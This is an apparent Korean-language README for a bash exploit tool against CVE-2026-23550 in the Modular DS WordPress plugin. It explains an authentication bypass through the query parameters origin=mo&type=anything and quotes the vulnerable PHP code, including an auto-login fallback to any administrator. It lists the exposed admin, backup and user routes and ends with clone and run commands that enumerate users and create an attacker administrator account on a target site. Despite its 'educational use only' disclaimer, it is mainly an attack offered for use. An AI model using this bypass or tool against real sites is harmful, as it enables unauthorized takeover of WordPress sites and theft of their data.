
Bash 스크립트로, CVE-2026-23550을 악용하여 인증을 우회하고 인증되지 않은 관리자 계정 탈취를 달성함으로써 WordPress 사용자 열거 및 자동화된 관리자 계정 생성을 수행합니다.
CVE ID: CVE-2026-23550 CVSS 점수: 10.0 (치명적) 영향을 받는 플러그인: Modular DS WordPress 플러그인 영향을 받는 버전: 2.5.1을 포함한 모든 버전 패치된 버전: 2.5.2 (2026년 1월 14일 출시) 활발한 악용: 2026년 1월 13일부터 실제 환경에서 확인됨
이 플러그인은 API 라우트를 /api/modular-connector/. 접두사 아래에 노출합니다.
이 라우트들은 RouteServiceProvider.php.의 인증 미들웨어 뒤에 그룹화되어 있습니다.
그러나 결함이 있는 isDirectRequest() 메서드를 사용하여 인증을 우회할 수 있습니다.
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
우회 방법은 매우 간단합니다. 요청에 origin=mo&type=anything 매개변수를 포함하기만 하면 됩니다. 서명, 비밀키, IP 또는 필수 User-Agent 검증이 없습니다. 이러한 매개변수만으로도 요청이 Modular direct request로 간주되기에 충분합니다.
요청이 "direct"로 간주되면, ModularGuard.php의 인증 미들웨어는 validateOrRenewAccessToken()을 통해 사이트가 Modular에 연결되어 있는지만 확인합니다. 들어오는 요청과 Modular 자체 사이에는 암호화 연결이 없습니다.
노출된 라우트 인증 우회에 성공하면 공격자는 다음에 접근할 수 있습니다:
/login/{modular_request} – 원격 로그인 (관리자 접근)
/server-information – 민감한 시스템 데이터
/users/{modular_request} – 사용자 열거
/backup/* – 사이트 백업
/cache/clear – 캐시 정리
/manager/* – 관리 기능
/woocommerce/{modular_request} – WooCommerce 통계
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
요청 본문에 사용자 ID가 없으면, 코드는 존재하는 관리자를 찾아 (getAdminUser()) 즉시 로그인합니다.
작성자: (Dedsec Team) 설명: WordPress 사용자 열거 및 자동 관리자 계정 생성을 위한 강력한 bash 스크립트입니다. 교육 목적과 승인된 보안 테스트 전용으로 제작되었습니다.
/?author=1, /?author=2 등)curl (HTTP 요청용)base64 (난독화 버전을 사용하는 경우, 헤헤)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <target_url>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d